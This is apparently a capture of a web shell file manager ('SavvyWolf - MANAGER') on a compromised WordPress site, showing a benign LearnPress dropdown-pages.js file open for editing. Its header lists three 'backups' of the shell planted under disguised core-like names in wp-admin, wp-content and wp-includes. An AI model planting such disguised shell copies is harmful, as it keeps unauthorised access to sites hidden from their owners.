Backups Created:
/home/teltatz/public_html/wp-admin/admin-wolf.php
/home/teltatz/public_html/wp-content/edit-wolf.php
/home/teltatz/public_html/wp-includes/widgets/class-wp-wolf-widget.php

SavvyWolf - MANAGER

Edit File: dropdown-pages.js

( function( $ ) {
	function DropdownPages( el, options ) {
		this.options = $.extend( {
			ID: '',
			name: 'Add new page',
		}, options || {} );
		const $element = $( el ),
			$select = $element.find( 'select' ),
			$listWrap = $element.find( '.list-pages-wrapper' ),
			$actions = $element.find( '.quick-add-page-actions' ),
			$form = $element.find( '.quick-add-page-inline' );

function addNewPageToList( args ) {
			const $new_option = $( '<option value="' + args.ID + '">' + args.name + '</option>' );
			const position = $.inArray( args.ID + '', args.positions );

$( '.learn-press-dropdown-pages select' ).each( function() {
				const $sel = $( this ),
					$option = $new_option.clone();
				if ( position === 0 ) {
					$( 'option', $sel ).each( function() {
						if ( parseInt( $( this ).val() ) ) {
							$option.insertBefore( $( this ) );
							return false;
						}
					} );
				} else if ( position === args.positions.length - 1 ) {
					$sel.append( $option );
				} else {
					$option.insertAfter( $( 'option[value="' + args.positions[ position - 1 ] + '"]', $sel ) );
				}
			} );
		}

$select.on( 'change', function() {
			$actions.addClass( 'hide-if-js' );
			if ( this.value !== 'add_new_page' ) {
				if ( parseInt( this.value ) ) {
					$actions.find( 'a.edit-page' ).attr( 'href', 'post.php?post=' + this.value + '&action=edit' );
					$actions.find( 'a.view-page' ).attr( 'href', lpGlobalSettings.siteurl + '?page_id=' + this.value );
					$actions.removeClass( 'hide-if-js' );
					$select.attr( 'data-selected', this.value );
				}
				return;
			}
			$listWrap.addClass( 'hide-if-js' );
			$form.removeClass( 'hide-if-js' ).find( 'input' ).trigger( 'focus' ).val( '' );
		} );

// Select 2
		$select
			.css( 'width', $select.width() + 50 )
			.find( 'option' ).each( function() {
				$( this ).html( $( this ).html().replace( /&nbsp;&nbsp;&nbsp;/g, '' ) );
			} );

$select.select2( {
			allowClear: true,
			placeholder: lpDataAdmin.i18n.select_page,
		} );

$select.on( 'select2:select', function( e ) {
			const data = e.params.data;
		} );

$element.on( 'click', '.quick-add-page-inline button', function() {
			const $button = $( this ),
				$input = $form.find( 'input' ),
				page_name = $input.val();
			if ( ! page_name ) {
				alert( 'Please enter the name of page' );
				$input.trigger( 'focus' );
				return;
			}
			$button.prop( 'disabled', true );

const tr = $button.closest( 'tr' );
			let field_name = '';
			if ( tr.length ) {
				field_name = tr.find( '.field_name' ).attr( 'name' );
			}

$.ajax( {
				url: lpGlobalSettings.ajax,
				data: {
					action: 'learnpress_create_page',
					page_name,
					field_name,
				},
				type: 'post',
				dataType: 'html',
				success( response ) {
					response = LP.parseJSON( response );
					if ( response.page ) {
						addNewPageToList( {
							ID: response.page.ID,
							name: response.page.post_title,
							positions: response.positions,
						} );
						$select.val( response.page.ID ).trigger( 'focus' );
						$select.val( response.page.ID ).trigger( 'change' );
						$form.addClass( 'hide-if-js' );
					} else if ( response.error ) {
						alert( response.error );
					}
					$button.prop( 'disabled', false );
					$listWrap.removeClass( 'hide-if-js' );
				},
			} );
		} ).on( 'click', '.quick-add-page-inline a', function( e ) {
			e.preventDefault();
			$form.addClass( 'hide-if-js' );
			$select.val( $select.attr( 'data-selected' ) + '' ).removeAttr( 'disabled' ).trigger( 'change' );
			$listWrap.removeClass( 'hide-if-js' );
		} ).on( 'click', '.button-quick-add-page', function( e ) {
			$select.val( 'add_new_page' ).trigger( 'change' );
		} ).on( 'keypress keydown', '.quick-add-page-inline input[type="text"]', function( e ) {
			if ( e.key == 'Enter' && e.type == 'keypress' ) {
				e.preventDefault();
				$( this ).siblings( 'button' ).trigger( 'click' );
			} else if ( e.key == 'Escape' && e.type == 'keydown' ) {
				$( this ).siblings( 'a' ).trigger( 'click' );
			}
		} );
	}

$.fn.LP( 'DropdownPages', function() {
		return $.each( this, function() {
			let $instance = $( this ).data( 'DropdownPages' );
			if ( ! $instance ) {
				$instance = new DropdownPages( this, {} );
				$( this ).data( 'DropdownPages', $instance );
			}
			return $instance;
		} );
	} );
}( jQuery ) );